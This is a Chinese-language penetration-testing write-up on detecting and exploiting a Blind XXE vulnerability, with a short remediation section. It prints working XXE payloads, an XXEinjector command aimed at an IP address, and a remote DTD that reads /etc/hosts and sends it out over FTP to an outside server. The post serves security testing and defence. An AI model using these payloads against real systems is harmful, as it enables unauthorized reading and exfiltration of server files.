文章目錄
  1. 1. 参考资料
  2. 2. 漏洞探测
  3. 3. 文件读取
  4. 4. 修复方案
  5. 5. 备注

参考资料

关于Blind XXE
你所不知道的XML安全
未知攻焉知防——XXE漏洞攻防
XXE漏洞以及Blind XXE总结
XXEinjector – XXE自动化测试工具

漏洞探测

关于XXE的分析已经有比较多的总结了。可以查看参考资料中的分析。
使用SYSTEM引用外部cloueye URL。可以看到服务器接收到目标服务器发来的http请求,证明存在漏洞。

测试payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://sss.5510eb.dnslog.info/file.dtd">%remote;]>

文件读取

使用参考资料中的一些payload,发现并没有复现成功。后来发现使用XXEinjector可以非常方便的验证漏洞。

./XXEinjector.rb --host=22.28.98.149 --file=/root/XXEinjector/test.txt  --path=/etc/hosts --verbose 

命令可以读取hosts文件。XXEinjector.rb会自动开启http服务提供恶意dtd和开启ftp服务接受传送回来的文件信息。

经过抓包分析XXEinjector的工作原理。

使用的第一个payload为:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://xxxxxx:80/file.dtd">%remote;%int;%trick;]><request nickname="test" serial="ELISALIVE2-" user="" swd="+==" port="0" version="1.0"></request>

file.dtd内容为:

<!ENTITY % payl SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://xxxxxxx:21/%payl;'>">

然后ftp就会接受到hosts文件数据。

使用提取的payload用burp测试可以获取数据。

修复方案

参考XML_ExternalEntity(XXE)_Prevention_Cheat_Sheet_Prevention_Cheat_Sheet),根据相应的库的方式禁用外部实体解析。

备注

XXE作为一种攻击形式,在不同的环境中会有各种比较灵活的利用。你所不知道的XML安全中提到的禁用外部实体的情况下,利用uri Invocation来实现SSRF攻击。目前这个点的分析比较少,如果可以实现http的ssrf其实也是可以做不少事情的。

文章目錄
  1. 1. 参考资料
  2. 2. 漏洞探测
  3. 3. 文件读取
  4. 4. 修复方案
  5. 5. 备注